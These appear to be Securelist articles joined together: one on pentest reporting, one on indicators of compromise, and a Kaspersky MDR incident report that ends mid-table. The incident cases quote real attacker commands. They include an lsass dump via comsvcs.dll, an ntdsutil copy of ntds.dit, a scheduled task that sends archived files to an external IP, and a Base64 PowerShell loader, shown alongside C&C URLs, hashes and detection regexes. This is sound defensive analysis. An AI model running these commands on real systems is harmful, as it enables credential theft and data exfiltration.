Information about all attack vectors that were successfully exploited during the test comes from the pentester, whereas the analyst transforms these to build a detailed report describing the vulnerabilities and security flaws. In the hands of the analyst, a description of each attack vector, enriched with evidence, screenshots and collected data, turns into detailed answers to the following questions:
Notably, multiple vulnerabilities pieced together may result in a single attack vector leading from zero-level access to the highest privileges.
After the previous stages are complete, the vulnerabilities should be grouped under categories. Below are a few examples:
Next, all vulnerabilities and security misconfigurations will be converted into threats that can exploit these. Armed with the knowledge of the client’s business systems, the analyst can assess to which critical resources a cybercriminal will gain access in the event of an attack. Will the attacker be able to reach the client’s data, gain access to employees’ personal data, or maybe to payment orders? For example, by gaining total control over the client’s internal infrastructure, including critical IT systems, an attacker can disrupt the organization’s business processes, while the ability to read arbitrary files on the client’s servers can lead to sensitive documents being stolen.
The analyst creates a diagram to visualize all of the pentester’s activities relating to the successful attack scenarios. This is an important time not just for the client, who clearly sees everything that happened (what vulnerabilities were exploited, which hosts were accessed, and what threats this led to), but also for the pentesters. This is because, looking at this level of detail, they can see vectors that previously went unnoticed, findings that the report missed, and attacks that can be launched in the future.
During an internal penetration test, our experts found multiple vulnerabilities and obtained administrative privileges in the domain. However, while analyzing the output of the BloodHound tool, the analyst uncovered hidden relationships, stumbling on an attack path within an Active Directory environment. The analyst found that external contractors could escalate their privileges in the system due to Active Directory being misconfigured. Constrained by the project scope, the pentesters did not go on to gain access to contractor credentials, so they were not able to exploit said misconfiguration. The client greatly appreciated the discovery of the new attack vector.
A project case where BloodHound tool output analysis revealed an additional attack vector
When all vulnerabilities and threats have been identified, an analyst moves on to the prioritization stage. At this step, it should be decided which vulnerabilities need fixing first. The simplest solution would be to prioritize those with the highest severity level, but it is not the correct one. There are situations where a “critical” vulnerability identified in a test web application does not cause the same amount of damage as a “medium” vulnerability in a critical system. An example is a vulnerability in an online bank whose exploitation can trigger a whole chain of interconnected vulnerabilities, which would allow the attacker to steal the clients’ money.
So, the analyst looks at the overall business impact of the attack vector and the risk level of the vulnerabilities involved. Next, they prioritize the vulnerabilities, starting with the ones that pose the most severe threats but are easiest and fastest to fix, and following with those which require major changes to the business processes and are a subject of strategic cybersecurity improvements. After that, the analyst arranges the list of vulnerabilities and recommendations in the order in which measures should be taken.
Vulnerabilities prioritization scheme
The analyst prepares recommendations, which are part of project deliverables and should consider the following:
At the final stage, the analyst provides three levels of project deliverables:
Three levels of project deliverables
In summary of the above, the main advantages of having an analyst on a security assessment project, as evidenced by our experience, are as follows:
Last but not least, the analyst provides a detailed mitigation plan including short-term and long-term recommendations, and actions required for mitigating the discovered threats. As part of our security assessment services, we give clients an overview of cybersecurity risks specific to their organizations (industry, infrastructure, and goals), and advice on hardening security and mitigating future threats.
]]>It would hardly be an exaggeration to say that the phrase “indicators of compromise” (or IOCs) can be found in every report published on the Securelist. Usually after the phrase there are MD5 hashes[1], IP addresses and other technical data that should help information security specialists to counter a specific threat. But how exactly can indicators of compromise help them in their everyday work? To find the answer we asked three Kaspersky experts: Pierre Delcher, Senior Security Researcher in GReAT, Roman Nazarov, Head of SOC Consulting Services, and Konstantin Sapronov, Head of Global Emergency Response Team, to share their experience.
We at GReAT are focused on identifying, analyzing and describing upcoming or ongoing, preferably unknown cyberthreats, to provide our customers with detailed reports, technical data feeds, and products. This is what we call cyber threat intelligence. It is a highly demanding activity, which requires time, multidisciplinary skills, efficient technology, innovation and dedication. It also requires a large and representative set of knowledge about cyberattacks, threat actors and associated tools over an extended timeframe. We have been doing so since 2008, benefiting from Kaspersky’s decades of cyberthreat data management, and unrivaled technologies. But why are we offering cyber threat intelligence at all?
The intelligence we provide on cyberthreats is composed of contextual information (such as targeted organization types, threat actor techniques, tactics and procedures – or TTPs – and attribution hints), detailed analysis of malicious tools that are exploited, as well as indicators of compromise and detection techniques. This in effect offers knowledge, enables anticipation, and supports three main global goals in an ever-growing threats landscape:
To keep it practical, indicators of compromise (IOCs) are technical data that can be used to reliably identify malicious activities or tools, such as malicious infrastructure (hostnames, domain names, IP addresses), communications (URLs, network communications patterns, etc.) or implants (hashes that designate files, files paths, Windows registry keys, artifacts that are written in memory by malicious processes, etc.). While most of them will in practice be file hashes – designating samples of malicious implants – and domain names – identifying malicious infrastructure, such as command and control (C&C) servers – their nature, format and representation are not limited. Some IOC sharing standards exist, such as STIX.
As mentioned before, IOCs are one result of cyber threat intelligence activities. They are useful at operational and tactical levels to identify malicious items and help associate them with known threats. IOCs are provided to customers in intelligence reports and in technical data feeds (which can be consumed by automatic systems), as well as further integrated in Kaspersky products or services (such as sandbox analysis products, Kaspersky Security Network, endpoint and network detection products, and the Open Threat Intelligence Portal to some extent).
As part of the threat-hunting process, which is one facet of cyber threat intelligence activity (see the picture below), GReAT aims at gathering as many IOCs as possible about a given threat or threat actor, so that customers can in turn reliably identify or hunt for them, while benefiting from maximum flexibility, depending on their capabilities and tools. But how are those IOCs identified and gathered? The rule of thumb on threat hunting and malicious artifacts collection is that there is no such thing as a fixed magic recipe: several sources, techniques and practices will be combined, on a case-by-case basis. The more comprehensively those distinct sources are researched, the more thoroughly analysis practices are executed, and the more IOCs will be gathered. Those research activities and practices can only be efficiently orchestrated by knowledgeable analysts, who are backed by extensive data sources and solid technologies.
General overview of GReAT cyber threat intelligence activities
GReAT analysts will leverage the following sources of collection and analysis practices to gather intelligence, including IOCs – while these are the most common, actual practices vary and are only limited by creativity or practical availability:
Sure, GReAT provides IOCs to customers, or even to the public, as part of its cyber threat intelligence activities. However, before providing them, the IOCs are also a cornerstone of the intelligence collection practices described here. IOCs enable GReAT analysts to pivot from an analyzed malicious implant to additional file detection, from a search in one intelligence source to another. IOCs are thus the common technical interface to all research processes. As an example, one of our active research heuristics might identify previously unknown malware being tentatively executed on a customer system. Looking for the file hash in our telemetry might help identify additional execution attempts, as well as malicious tools that were leveraged by a threat actor, just before the first execution attempt. Reverse engineering of the identified malicious tools might in turn produce additional network IOCs, such as malicious communication patterns or command and control server IP addresses. Looking for the latter in our telemetry will help identify additional files, which in turn will enable further file hash research. IOCs enable a continuous research cycle to spin, but it only begins at GReAT; by providing IOCs as part of an intelligence service, GReAT expects the cycle to keep spinning at the customer’s side.
Apart from their direct use as research tokens, IOCs are also carefully categorized, attached to malicious campaigns or threat actors, and utilized by GReAT when leveraging internal tools. This IOC management process allows for two major and closely related follow-up activities:
From our perspective, every security operation center (SOC) uses known indicators of compromise in its operations, one way or another. But before we talk about IOC usage scenarios, let’s go with the simple idea that an IOC is a sign of a known attack.
At Kaspersky, we advise and design SOC operations for different industries and in different formats, but IOC usage and management are always part of the SOC framework we suggest our customers implement. Let’s highlight some usage scenarios of IOCs in an SOC.
In general, today’s SOC best practices tell us to defend against attacks by blocking potential threats at the earliest possible stage. If we know the exact indicators of an attack, then we can block it, and it is better to do so on multiple levels (both network and endpoint) of our protected environment. In other words, the concept of defense in depth. Blocking any attempts to connect to a malicious IP, resolve a C2 FQDN, or run malware with a known hash should prevent an attack, or at least not give the attacker an easy target. It also saves time for SOC analysts and reduces the noise of SOC false positive alerts. Unfortunately, an excellent level of IOC confidence is vital for the prevention usage scenario; otherwise, a huge number of false positive blocking rules will affect the business functions of the protected environment.
The most popular scenario for IOC usage in an SOC – the automatic matching of our infrastructure telemetry with a huge collection of all possible IOCs. And the most common place to do it is SIEM. This scenario is popular for a number of reasons:
Another popular solution for matching is the Threat Intelligence Platform (TIP). It usually supports better matching scenarios (such as the usage of wildcards) and assumes reducing some of the performance impact generated by correlation in SIEM. Another huge advantage of TIP is that this type of solution was initially designed to work with IOCs, to support their data schema and manage them, with more flexibility and features to set up detection logic based on an IOC.
When it comes to detection we usually have a lower requirement for IOC confidence because, although unwanted, false positives during detection are a common occurrence.
Another routine where we work with IOCs is in the investigation phase of any incident. In this case, we are usually limited to a specific subset of IOCs – those that were revealed within the particular incident. These IOCs are needed to identify additional affected targets in our environment to define the real scope of the incident. Basically, the SOC team has a loop of IOC re-usage:
The next steps of incident handling also apply IOCs. In these stages the SOC team focuses on IOCs obtained from the incident, and uses them in the following way:
By threat hunting we imply activity aimed at revealing threats, namely those that have bypassed SOC prevention and detection capabilities. Or, in other words, Assume Breach Paradigm, which intends that despite all the prevention and detection capabilities, it’s possible that we have missed a successful attack and have to analyze our infrastructure as though it is compromised and find traces of the breach.
This brings us to IOC-based threat hunting. The SOC team analyzes information related to the attack and evaluates if the threat is applicable to the protected environment. If yes, the hunter tries to find an IOC in past events (such as DNS queries, IP connection attempts, and processes execution), or in the infrastructure itself – the presence of a specific file in the system, a specific value of registry key, etc. The typical solutions supporting the SOC team with such activity are SIEM, EDR and TIP. For this type of scenario, the most suitable IOCs are those extracted from APT reports, or received by your TI peers.
In IOC usage scenarios we have touched on different types of IOCs multiple times. Let’s summarize this information by breaking down IOC types according to their origin:
If we summarize the reviewed scenarios, IOC origin, and their applicability, then map this information to NIST Incident Handling stages[5], we can create the following table.
IOC scenario usage in SOC
All these scenarios have different requirements for the quality of IOCs. Usually, in our SOC we don’t have too many issues with Incident IOCs, but for the rest we must track quality and manage it in some way. For better quality management, the provided metrics should be aggregated for every IOC origin to evaluate IOC source, not the dedicated IOCs. Some basic metrics, identified by our SOC Consultancy team, that can be implemented to measure IOC quality are:
To collect these metrics, the SOC team should carefully track every IOC origin, usage scenario and the result of use.
In GERT we specialize in the investigation of incidents and the main sources of information in our work are digital artifacts. By analyzing them, experts discover data that identifies activity directly related to the incident under investigation. Thus, the indicators of compromise allow experts to establish a link between the investigated object and the incident.
Throughout the entire cycle of responding to information security incidents, we use different IOCs at different stages. As a rule, when an incident occurs and a victim is contacted, we receive indicators of compromise that can serve to confirm the incident, attribute the incident to an attacker and make decisions on the initial response steps. For example, if we consider one of the most common incidents involving ransomware, then the initial artifact is the files. The IOC indicators in this case will be the file names or their extensions, as well as the hash of the sum of the files. Such initial indicators make it possible to determine the type of cryptographer, to point to a group of attackers and their characteristic techniques, tactics and procedures. They also make it possible to define recommendations for an initial response.
The next set of IOCs that we can get are indicators from the data collected by triage. As a rule, these indicators show the attackers’ progress through the network and allow additional systems involved in the incident to be identified. Mostly, these are the names of compromised users, hash sums of malicious files, IP addresses and URL links. Here it is necessary to note the difficulties that arise. Attackers often use legitimate software that is already installed on the targeted systems (LOLBins). In this case, it is more difficult to distinguish malicious launches of such software from legitimate launches. For example, the mere fact that the PowerShell interpreter is running cannot be considered without context and payload. In such cases it is necessary to use other indicators such as timestamps, user name, correlation of events.
Ultimately, all identified IOCs are used to identify compromised network resources and to block the actions of attackers. In addition, attack indicators are built on the basis of compromise indicators, which are used for preventive detection of attackers. In the final stage of the response, the indicators that are found are used to verify there are no more traces of the attackers’ presence in the network.
The result of each completed case with an investigation is a report that collects all the indicators of compromise and indicators of attack based on them. Monitoring teams should add these indicators to their monitoring systems and use them to proactively detect threats.
[1] A “hash” is a relatively short, fixed-length, sufficiently unique and non-reversible representation of arbitrary data, which is the result of a “hashing algorithm” (a mathematical function, such as MD5 or SHA-256). Contents of two identical files that are processed by the same algorithm result in the same hash. However, processing two files which only differ slightly will result in two completely different hashes. As a hash is a short representation, it is more convenient to designate (or look for) a given file using its hash than using its whole content.
[2] Telemetry designates the detection statistics and malicious files that are sent from detection products to the Kaspersky Security Network when customers agree to participate.
[3] Vulnerable, weak, and/or attractive systems that are deliberately exposed to Internet and continuously monitored in a controlled fashion, with the expectation that they will be attacked by threat actors. When such happens, monitoring practices enable detecting new threats, exploitation methods or tools from attackers.
[4] Hijacking of known malicious command and control servers, with cooperation from Internet hosters or leveraging threat actors errors and infrastructure desertion, in order to neutralize their malicious behaviors, monitor malicious communications, as well as identify and notify targets.
[5] NIST. Computer Security Incident Handling Guide. Special Publication 800-61 Revision 2
This report describes several interesting incidents observed by the Kaspersky Managed Detection and Response (MDR) team. The goal of the report is to inform our customers about techniques used by attackers. We hope that learning about the attacks that took place in the wild helps you to stay up to date on the modern threat landscape and to be better prepared for attacks.
The use of public cloud services like Amazon, Azure or Google can make an attacker’s server difficult to spot. Kaspersky has reported several incidents where attackers used cloud services for C&C.
The incident started with Kaspersky MDR detecting the use of a comprehensive toolset for security assessment, presumably Cobalt Strike, by an antimalware (AM) engine memory scan (MEM:Trojan.Win64.Cobalt.gen). The memory space belongs to the process c:\windows\system32\[legitimate binary name][1].exe.
While investigating, we found that the process had initiated network connections to a potential C&C server:
hXXps://blue-rice-1d8e.dropboxonline.workers[.]dev/jquery/secrets/[random sequence] hXXps://blue-rice-1d8e.dropboxonline.workers[.]dev/mails/images/[cut out]?_udpqjnvf=[cut out]
The URL format indicates the use of Cloudflare Workers.
We then found that earlier, the binary had unsuccessfully[2] attempted to execute an lsass.exe memory dump via comsvcs.dll:
CMd.exE /Q /c for /f "tokens=1,2 delims= " ^%A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump ^%B \Windows\Temp\[filename].doc full
Several minutes later, a suspicious .bat script was run. This created a suspicious WMI consumer, later classified by MDR as an additional persistence mechanism.
The incident was detected in a timely manner, so the attacker did not have the time to follow through. The attacker’s final goals are thus unknown.
The table below lists the signs of suspicious activity that were the starting point for the investigation by the SOC.
MITRE ATT&CK Technique | MDR telemetry event type used | Detection details | Description |
T1588.002: Tool |
|
AM verdict: MEM:Trojan.Win64.Cobalt.gen, which can be used for Cobalt Strike or Meterpreter | A malicious payload was executed in the victim’s system and started communicating with the C&C server |
T1620: Reflective Code Loading |
|
AM verdict: MEM:Trojan.Win64.Cobalt.gen | The malicious payload migrated to the victim’s memory |
|
Detection of code injection from an unknown binary into a system binary | ||
T1071.001: Web Protocols |
|
Suspicious HTTP connections to the malicious URL: blue-rice-1d8e[.]dropboxonline.workers.dev/… from a non-browser process with a system integrity level | The attacker’s communications with the C&C server |
T1584.006: Web Services |
|
URL reputation, regular expression in URL | The attacker’s communications with the C&C server |
T1102.001: Dead Drop Resolver |
|
URL reputation, regular expression in URL | The attacker’s communications with the C&C server |
T1003.001: LSASS Memory |
|
AM detection on lsass memory access | The attacker’s unsuccessful attempt to dump the lsass.exe memory to a file |
|
Regex on command like: rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump <PID> lsass.dmp full | ||
T1546.003: Windows Management Instrumentation Event Subscription |
|
WMI active script event consumer created remotely | The attacker gained persistence through active WMI |
This case started with a suspicious scheduled task. The listing below should give you a general idea of the task and the command it executes.
Scheduled task:
Microsoft\Windows\Management\Provisioning\YLepG5JS\075C8620-1D71-4322-ACE4-45C018679FC9, HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{A311AA10-BBF3-4CDE-A00B-AAAAB3136D6A}, C:\Windows\System32\Tasks\Microsoft\Windows\Management\Provisioning\YLepG5JS\075C8620-1D71-4322-ACE4-45C018679FC9
Command:
"wscript.exe" /e:vbscript /b "C:\Windows\System32\r4RYLepG5\9B2278BC-F6CB-46D1-A73D-5B5D8AF9AC7C" "n; $sc = [System.Text.Encoding]::UTF8.GetString([System.IO.File]::ReadAllBytes('C:\Windows\System32\drivers\S2cZVnXzpZ\02F4F239-0922-49FE-A338-C7460CB37D95.sys'), 1874201, 422); $sc2 = [Convert]::FromBase64String($sc); $sc3 = [System.Text.Encoding]::UTF8.GetString($sc2); Invoke-Command ([Scriptblock]::Create($sc3))"
The scheduled task invokes a VBS script (file path: C:\Windows\System32\r4RYLepG5\9B2278BC-F6CB-46D1-A73D-5B5D8AF9AC7C, MD5 106BC66F5A6E62B604D87FA73D70A708), which decodes from the Base64-encoded content of the file C:\Windows\System32\drivers\S2cZVnXzpZ\02F4F239-0922-49FE-A338-C7460CB37D95.sys, and then executes the latter.
The VBS script mimics the content and behavior of the legitimate C:\Windows\System32\SyncAppvPublishingServer.vbs file, but the path and file name are different.
The customer approved our MDR SOC analyst’s request to analyze the file C:\Windows\System32\drivers\S2cZVnXzpZ\02F4F239-0922-49FE-A338-C7460CB37D95.sys. A quick analysis revealed a Base64-encoded payload inside long text content (see the picture below).
The decoded payload contained a link to a C&C server:
Further telemetry analysis showed that the infection was probably caused by the following process, likely a malicious activator (MD5 F0829E688209CA94305A256B25FEFAF0):
C:\Users\<… cut out … >\Downloads\ExcelAnalyzer 3.4.3\crack\Patch.exe
The activator was downloaded with the Tixati BitTorrent client and executed by a member of the local Administrators group.
Fortunately, the telemetry analysis did not reveal any evidence of malicious activity from the discovered C&C server (counter[.]wmail-service[.]com), which would have allowed downloading further stages of infection. In the meantime, a new AM engine signature was released, and the malicious samples were now detected as Trojan-Dropper.Win64.Agent.afp (F0829E688209CA94305A256B25FEFAF0) and Trojan.PowerShell.Starter.o (106BC66F5A6E62B604D87FA73D70A708). The C&C URL was correctly classified as malicious.
The table below lists the attack techniques and how they were detected by Kaspersky MDR.
MITRE ATT&CK Technique | MDR telemetry event type used | Detection details | Description |
T1547.001: Registry Run Keys / Startup Folder |
|
Regex on autostart entry details | Malicious persistence |
|
Heuristic AM engine verdict: HEUR:Trojan.Multi.Agent.gen | ||
T1059.001: PowerShell |
|
Regex on autostart entry details | Execution of PowerShell code via “ScriptBlock” instead of “Invoke-Expression” |
T1216.001: System Script Proxy Execution |
|
Regex on command line | Malicious payload execution via C:\Windows\System32\ SyncAppvPublishingSer ver.vbs |
T1204.002: Malicious File |
|
Execution sequence: svchost.exe → explorer.exe → patch.exe From directory: C:\Users\< removed>\Downloads\ExcelAnaly zer 3.4.3\crack\ |
The user executed a file downloaded by the Tixati BitTorrent client As a result, the file 02f4f239-0922-49fe- a338-c7460cb37d95.sys was created |
|
Creation of c:\users\<removed>\downloads\ex celanalyzer 3.4.3\setup_excelanalyzer.exe In this order: chrome.exe → tixati.exe |
||
|
Creation of 02f4f239-0922-49fe- a338-c7460cb37d95.sys In this order: svchost.exe → patch.exe Process command line: “C:\Users\<removed>\Downloads\ ExcelAnalyzer 3.4.3\crack\Patch.exe” The contents of 02f4f239-0922- 49fe-a338-c7460cb37d95.sys do not match the extension (text instead of binary). |
||
T1027: Obfuscated Files or Information T1140: Deobfuscate/Decode Files or Information |
The suspicious file 02f4f239-0922-49fe-a338-c7460cb37d95.sys was requested from the customer via an MDR response | 02f4f239-0922-49fe-a338- c7460cb37d95.sys contained text; starting on line 4890, it contained a Base-64-encoded payload. |
Attacker hid payload |
T1071.001: Web Protocols |
|
The SOC checked for successful connections to the discovered C&C server. | A search for the attacker’s possible attempts to execute further stages of the attack |
During manual threat hunting, the Kaspersky SOC team detected suspicious activity on a Microsoft Exchange server: the process MSExchangeMailboxReplication.exe attempted to create several suspicious files:
\\127.0.0.1\c$\inetpub\wwwroot\aspnet_client\rqfja.aspx c:\program files\microsoft\exchange server\v15\frontend\httpproxy\ecp\auth\yjiba.aspx c:\program files\microsoft\exchange server\v15\frontend\httpproxy\owa\auth\jiwkl.aspx c:\program files\microsoft\exchange server\v15\frontend\httpproxy\owa\auth\current\qwezb.aspx c:\program files\microsoft\exchange server\v15\frontend\httpproxy\owa\auth\current\scripts\qspwi.aspx c:\program files\microsoft\exchange server\v15\frontend\httpproxy\owa\auth\current\scripts\premium\upxnl.aspx c:\program files\microsoft\exchange server\v15\frontend\httpproxy\owa\auth\current\themes\qikyp.aspx c:\program files\microsoft\exchange server\v15\frontend\httpproxy\owa\auth\current\themes\resources\jvdyt.aspx c:\program files\microsoft\exchange server\v15\frontend\httpproxy\ecp\auth\mgsjz.aspx
The ASPX file format, which the service should not create, and the random file names led our SOC analyst to believe that those files were web shells.
Telemetry analysis of the suspicious file creation attempts showed that Kaspersky Endpoint Security (KES) had identified the process behavior as PDM:Exploit.Win32.Generic and blocked some of the activities.
Similar behavior was detected the next day, this time an attempt at creating one file:
\\127.0.0.1\c$\inetpub\wwwroot\aspnet_client\rmvbe.aspx
KES had blocked the exploitation attempts. Nonetheless, the attempts themselves indicated that the Microsoft Exchange server was vulnerable and in need of patching as soon as possible.
The table below lists the attack techniques and how these were detected by Kaspersky MDR.
MITRE ATT&CK Technique | MDR telemetry event type used | Detection details | Description |
T1190: Exploit Public-Facing Application |
|
Heuristic AM engine verdict: PDM:Exploit.Win32.Generic | Exploitation attempt |
T1505.003: Web Shell |
|
Attempts at creating ASPX files using the MSExchangeMailboxReplication.exe process | Web shell file creation |
The incident was detected due to suspicious activity exhibited by sqlservr.exe, a legitimate Microsoft SQL Server process. At the time of detection, the account active on the host was S-1-5-21-<…>-<…>-<…>-181797 (Domain / username).
The SQL Server process attempted to create a suspicious file:
c:\windows\serviceprofiles\mssql$sqlexpress\appdata\local\temp\tmpd279.tmp
We observed that a suspicious assembly was loaded to the sqlserver process (c:\program files\microsoft sql server\mssql15.sqlexpress\mssql\binn\sqlservr.exe) db_0x2D09A3D6\65536_fscbd (MD5 383D20DE8F94D12A6DED1E03F53C1E16) with the original file name evilclr.dll.
The file was detected by the AM engine as HEUR:Trojan.MSIL.Starter.gen, Trojan.Multi.GenAutorunSQL.b.
The SQL server host had previously been seen accessible from the Internet and in the process of being scanned by a TOR network.
After the suspicious assembly load, the AM engine detected execution of malicious SQL jobs. The SQL jobs contained obfuscated PowerShell commands. For example:
The created SQL jobs attempted to connect to URLs like those shown below:
hxxp://101.39.<…cut…>.58:16765/2E<…cut…>2F.Png hxxp://103.213.<…cut…>.55:15909/2E<…cut…>2F.Png hxxp://117.122.<…cut…>.10:19365/2E<…cut…>2F.Png hxxp://211.110.<…cut…>.208:19724/2E<…cut…>2F.Png hxxp://216.189.<…cut…>.94:19063/2E<.cut...>2F.Png hxxp://217.69.<…cut…>.139:13171/2E<…cut…>2F.Png hxxp://222.138.<…cut…>.26:17566/2E<…cut…>2F.Png hxxp://222.186.<…cut…>.157:14922/2E<…cut…>2F.Png hxxp://45.76.<…cut…>.180:17128/2E<…cut…>2F.Png hxxp://59.97.<…cut…>.243:17801/2E<…cut…>2F.Png hxxp://61.174.<…cut…>.163:15457/2E<…cut…>2F.Png hxxp://67.21.<…cut…>.130:12340/2E<…cut…>2F.Png hxxp://216.189.<…cut…>.94:19063/2E<…cut…>2F.Png hxxp://67.21.<…cut…>.130:12340/2E<…cut…>2F.Png
Some of the IP addresses were already on the deny list, while others were added in response to this incident.
We were not able to observe any other host within the monitoring scope attempt to connect to these IP addresses, which confirmed that the attack was detected at an early stage.
The next day, the same activity, with the same verdicts (HEUR:Trojan.MSIL.Starter.gen, Trojan.Multi.GenAutorunSQL.b) was detected on another SQL Server host, which was also accessible from the Internet.
Since the attack was detected in time, and its further progress was blocked by the AM engine, the attacker was not able to proceed, while the customer corrected the network configuration errors to block access to the server from the Internet.
The table below lists the attack techniques and how these were detected by Kaspersky MDR.
MITRE ATT&CK Technique | MDR telemetry event type used | Detection details | Description |
T1090.003: Multi-hop Proxy T1595.002: Vulnerability Scanning |
|
Reputation analysis showed the use of TOR network for scanning. The scanning activity was detected through network connection analysis and by the AM engine. | The attacker scanned the SQL Server host |
T1190: Exploit Public-Facing Application |
|
The server application sqlservr.exe launched powershell.exe, in the following order: services.exe → sqlservr.exe → powershell.exe | The attacker successfully exploited the SQL server |
|
Execution of the object previously detected as an autostart entry with a bad reputation: sql:\SQLEXPRESS\db_0x2D09A3D6\65537_fscbd; original file name: evilclr.dll | ||
T1059.001: PowerShell |
|
Command line analysis showed the use of PowerShell. | Malicious persistence via an SQL Server job |
T1027: Obfuscated Files or Information |
|
Regex- and ML-based analysis of the SQL Server Agent job command line | The attacker attempted to evade detection |
|
Regex- and ML-based analysis of the services.exe → sqlservr.exe → powershell.exe execution sequence command line | ||
T1505.001: SQL Stored Procedures |
|
SQL Server Agent job analysis | Malicious persistence via an SQL Server job |
|
Heuristic detects on PowerShell SQL Server Agent; verdict: HEUR:Trojan.Multi.Powecod.a | ||
T1071.001: Web Protocols |
|
The URL reputation as well as an AM generic heuristic verdict similar to HEUR:Trojan.Multi.GenBadur.genw pointed to the use of a malicious C&C server. | The attacker’s C&C server |
Kaspersky MDR detected suspicious activity on one particular host in customer infrastructure, as the following process was started remotely by psexec:
“cmd.exe” /c “c:\perflogs\1.bat”, which started:
findstr "10.<…cut…>. wevtutil qe security /rd:true /f:text /q:"*[EventData/Data[@Name='TargetUserName']='<username1>'] and *[System[(EventID=4624) or (EventID=4623) or (EventID=4768) or (EventID=4776)]]" /c:1 wevtutil qe security /rd:true /f:text /q:"*[EventData/Data[@Name='TargetUserName']='<username2>'] and *[System[(EventID=4624) or (EventID=4623) or (EventID=4768) or (EventID=4776)]]" /c:1
After that, the following inventory commands were executed by the binary C:\ProgramData\USOPrivate\ UpdateStore\windnphd.exe:
C:\Windows\system32\cmd.exe /C ping 10.<…cut…> -n 2 query user C:\Windows\system32\cmd.exe /C tasklist /S 10.<…cut…> -U <domain>\<username3> -P <password> C:\Windows\system32\cmd.exe /C net use \\10.<…cut…>\ipc$ "<password>" /u:<domain>\<username3> C:\Windows\system32\cmd.exe /C net group "domain admins" /domain C:\Windows\system32\cmd.exe /C ping <hostname1> C:\Windows\system32\cmd.exe /C vssadmin list shadows C:\Windows\system32\cmd.exe /C ipconfig /all C:\Windows\system32\cmd.exe /C dir \\10.<…cut…>\c$
Suspicious commands triggering actions in the Active Directory Database were executed:
C:\Windows\system32\cmd.exe /C ntdsutil snapshot "activate instance ntds" create quit C:\Windows\system32\cmd.exe /C dir c:\windows\system32\ntds.dit C:\Windows\system32\cmd.exe /C dir c:\ C:\Windows\system32\cmd.exe /C dir c:\windows\ntds\ntds.ditAfter these commands were executed, the windnphd.exe process started an HTTP connection:
hxxp[:]//31.192.234[.]60:53/useintgetThen a suspicious file, c:\users\public\nd.exe (MD5 AAE3A094D1B019097C7DFACEA714AB1B), created by the windnphd.exe process, executed the following commands:
nd.exe c:\windows\system32\config\system c:\users\public\sys.txt nd.exe c:\windows\ntds\ntds.dit c:\users\public\nt.txt C:\Windows\system32\cmd.exe /C move *.txt c:\users\public\tmp C:\Windows\system32\cmd.exe /C rar.exe a -k -r -s -m1 c:\users\public\n.rar c:\users\public\tmp\ rar.exe a -k -r -s -m1 c:\users\public\n.rar c:\users\public\tmp\Later, the SOC observed that a suspicious scheduled task had been created on the same host:
schtasks /create /sc minute /mo 30 /ru system /tn \tmp /tr "c:\users\public\s.exe c:\users\public\0816-s.rar 38[.]54[.]14[.]183 53 down" /fThe task executed a suspicious file: c:\users\public\s.exe (MD5 6C62BEED54DE668234316FC05A5B2320)
This executable used the archive c:\users\public\0816-s.rar and the suspicious IP address 38[.]54[.]14[.]183, located in Vietnam, as parameters.
The 0816-s.rar archive was created via remote execution of the following command through psexec:
rar a -k -r -s -ta[Pass_in_clear_text] -m1 c:\users\public\0816-s.rar "\\10.<…cut…>\c$\users\<username4>\Documents\<DocumentFolder1>"
After that, we detected a suspicious network connection to the IP address 38[.]54[.]14[.]183 from the s.exe executable. The activity looked like an attempt to transfer the data collected during the attack to the attacker’s C&C server.
Similar suspicious behavior was detected on another host, <hostname>.
First, a suspicious file was created over the SMB protocol: c:\users\public\winpdasd.exe (MD5: B83C9905F57045110C75A950A4EE56E4).
Next, a task was created remotely via psexec.exe:
schtasks /create /sc minute /mo 30 /ru system /tn \tmp /tr "c:\users\public\winpdasd.exe" /f
During task execution, an external network communication was detected, and certain discovery commands were executed:
hxxp://31[.]192.234.60:53/useintget ping 10.<…cut…> -n 1 query user net use
This was followed by a connection to a network share on the host 10.<…cut…> as username3:
C:\Windows\system32\cmd.exe /C net use \\10.<…cut…>\ipc$ "<password>" /u:<domain>\<username3>
More reconnaissance command executions were detected:
C:\Windows\system32\cmd.exe /C dir \\10.<…cut…>\c$\users\<username4>\AppData\Roaming\Adobe\Linguistics C:\Windows\system32\cmd.exe /C tasklist /S 10.<…cut…> -U <domain>\<username3> -P <password> |findstr rundll32.exe tasklist /S 10.<…cut…> -U <domain>\<username3> -P <password> C:\Windows\system32\cmd.exe /C taskkill /S 10.<…cut…> -U <domain>\<username3> -P <password> /pid <PID> /f C:\Windows\system32\cmd.exe /C schtasks /run /s 10.<…cut…> /u <domain>\<username3> /p "<password>" /tn \Microsoft\Windows\Tcpip\dcrpytod
Then winpdasd.exe created the file windpchsvc.exe (MD5: AE03B4C183EAA7A4289D8E3069582930) and set it up as a task:
C:\Windows\system32\cmd.exe /C schtasks /create /sc minute /mo 30 /ru system /tn \Microsoft\Windows\Network\windpch /tr "C:\Users\admin\AppData\Roaming\Microsoft\Network\windpchsvc.exe" /f
After that, C&C communications were detected:
hxxp://139.162.35[.]70:53/micsoftgp
This incident, a fragment of a long-running APT campaign, demonstrates a data collection scenario. It shows that the attacker’s final goal was to spy on and monitor the victim’s IT infrastructure. Another feature of targeted attacks that can be clearly seen from this incident is the use of custom tools. An analysis of these is given later in this report as an example.
The table below lists the attack techniques and how these were detected by Kaspersky MDR.
MITRE ATT&CK Technique | MDR telemetry event type used | Detection details | Description |
T1569.002: Service Execution |
|
Command line analysis | The attacker performed reconnaissance and search in local logs The attacker persisted in the victim’s system through service creation |
|
Windows events on service installation and service start | ||
|
AM behavior analysis | The attacker executed windnphd.exe through psexec | |
T1592: Gather Victim Host Information T1590: Gather Victim Network Information |
|
Command line analysis | The attacker performed internal reconnaissance |
T1021.002: SMB/Windows Admin Shares |
|
Inbound and outbound share access | The attacker tried to access: \\10.<…cut…>.65\ipc$ \\10.<…cut…>.52\c$ |
T1003.003: NTDS |
|
Command line analysis | The attacker accessed NTDS.dit with ntdsutil |
T1071.001: Web Protocols |
|
The SOC checked if the data transfer was successful | The attacker communicated with the C&C server at hxxp[:]//31.192.234[ .]60:53/useintget |
|
The connection was initiated by the suspicious process windnphd.exe | ||
T1571: Non-Standard Port |
|
The SOC detected the use of the HTTP protocol on the non-standard 53/TCP port | Attacker used the C&C server hxxp[:]//31.192.234[ .]60:53/useintget |
T1587.001: Malware |
|
